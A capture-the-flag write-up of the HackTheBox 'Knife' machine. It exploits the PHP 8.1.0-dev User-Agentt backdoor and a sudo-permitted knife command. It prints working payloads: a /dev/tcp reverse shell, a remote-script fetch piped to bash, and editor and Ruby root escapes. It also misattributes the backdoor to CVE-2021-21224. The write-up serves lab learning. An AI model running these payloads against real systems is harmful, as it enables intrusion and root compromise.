Knife - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐⭐
• CTF-like: ⭐⭐☆☆☆

Summary

Knife is an easy difficulty Linux machine featuring a backdoored version of PHP 8.1.0-dev running on an Emergent Medical Idea web application. The vulnerability lies in a malicious commit to the PHP source code that checks the User-Agentt request header for a “zerodium” string and executes arbitrary code following it. After gaining initial foothold as the james user, privilege escalation is achieved through a sudo misconfiguration allowing the knife command (Chef’s automation tool) to be executed as root. The knife command can spawn a text editor with root privileges, enabling shell command execution.

TL;DR: PHP 8.1.0-dev RCE via User-Agentt header → Reverse shell as james → Sudo misconfiguration with knife command → Vi editor shell escape → Root shell.

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.242 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration
nmap -p$ports -sV -sC 10.10.10.242

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    Apache httpd 2.4.41

Service Enumeration

Apache HTTP Service (Port 80):

The web server hosts an Emergent Medical Idea application. Browsing to the index reveals a medical application interface with no immediately exploitable features.

# Check HTTP response headers
curl -I http://10.10.10.242/index.php

Critical Finding: The X-Powered-By header reveals:

X-Powered-By: PHP/8.1.0-dev

Vulnerability Assessment

PHP 8.1.0-dev Backdoor (CVE-2021-21224):

PHP version 8.1.0-dev was released with an intentional backdoor on March 28, 2021. Two malicious commits were pushed to the php-src repository, allowing Remote Code Execution through the User-Agentt request header.

Vulnerability Mechanism: The backdoor code checks for the string “zerodium” in the User-Agentt header. If found, it executes PHP code immediately following the “zerodium” string using zend_eval_string().

Sudo Misconfiguration: User james is permitted to run /usr/bin/knife as root without password authentication, enabling privilege escalation through the Chef knife tool.

Initial Foothold

Exploitation Path

Step 1: Verify RCE via DNS Exfiltration

First, we verify the PHP backdoor is functional by triggering an external request:

# Start a Python HTTP server to catch outbound requests
sudo python3 -m http.server 80

# From attack machine, send RCE payload
curl http://10.10.10.242/index.php -H 'User-Agentt: zerodiumsystem("curl 10.10.14.177");'

The target server should make a request to our HTTP server, confirming code execution.

Step 2: Establish Reverse Shell

Set up a netcat listener:

nc -nlvp 1234

Execute the reverse shell payload:

curl http://10.10.10.242/index.php \
  -H "User-Agentt: zerodiumsystem(\"bash -c 'bash -i &>/dev/tcp/10.10.14.177/1234 0>&1 '\");"

Result: Reverse shell obtained as user james.

james@knife:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)

Privilege Escalation

Enumeration

Run linpeas.sh to identify privilege escalation vectors:

# On attack machine, download and serve linpeas
wget https://github.com/peass-ng/PEASS-ng/releases/download/20240714-cd435bb2/linpeas.sh
sudo python3 -m http.server 80

# On target machine (reverse shell)
curl 10.10.14.177/linpeas.sh | bash

Alternatively, check sudo capabilities directly:

sudo -l

Output:

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Exploitation: Knife Sudo Misconfiguration

The knife command (Chef’s automation tool) allows editing data bags with an external text editor. By invoking knife with root privileges and launching vi/vim as the editor, we can execute shell commands.

Method 1: Via Data Bag Editor (Vi Escape)

sudo knife data bag create 1 2 -e vi

Once vi opens, type the following to spawn a shell:

:!/bin/sh

Press Enter to execute. You now have a root shell.

Method 2: Via Knife Exec (Interactive)

sudo knife exec

In the interactive Ruby environment, type:

exec "/bin/bash"

Press CTRL+D to execute.

Method 3: Via Knife Config File

Create a malicious config file:

echo -n 'exec "/bin/bash -i"' > config.rb
sudo knife user list -c config.rb

Shell Upgrade

Once in the root shell, upgrade to a fully interactive TTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press CTRL+Z to suspend
stty raw -echo
# Type 'fg' to resume
reset
export TERM=xterm

Now you have a fully interactive root shell.

Attack Chain Summary

Port Scanning (Nmap)
    ↓
Identify Apache + PHP 8.1.0-dev
    ↓
PHP 8.1.0-dev RCE via User-Agentt Backdoor
    ↓
Reverse Shell as james
    ↓
Enumerate Sudo Permissions (sudo -l)
    ↓
Identify knife Execution as Root
    ↓
Spawn Vi Editor from Knife Data Bag
    ↓
Vi Shell Escape (:!/bin/sh)
    ↓
Root Shell

Tools Used

Key Learnings

Techniques Practiced

• Identifying vulnerable software versions through HTTP headers
• PHP backdoor exploitation via header injection
• Reverse shell payload crafting and delivery
• Linux privilege escalation via sudo misconfiguration
• Text editor shell escape techniques (vi/vim)
• Interactive Ruby shell execution through knife exec

Lessons Learned

1. Version Detection Matters: HTTP headers like X-Powered-By reveal critical software versions. Always check response headers for fingerprinting opportunities.

2. Supply Chain Vulnerabilities: The PHP 8.1.0-dev backdoor represents a real-world supply chain attack risk. Development versions should never reach production.

3. Sudo Misconfiguration Impact: Granting sudo access to tools that spawn interactive editors (vi, nano, less, etc.) without proper restrictions enables trivial privilege escalation.

4. Command Execution Context: Many administrative tools (knife, git, sudo) can execute arbitrary commands through editor integration—a common attack vector.

5. Defense in Depth: Prevent the impact of RCE by restricting sudo permissions to specific arguments and using NOPASSWD sparingly.

6. Enumeration Scripts: Tools like linpeas automate privilege escalation enumeration, saving time and reducing missed opportunities.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>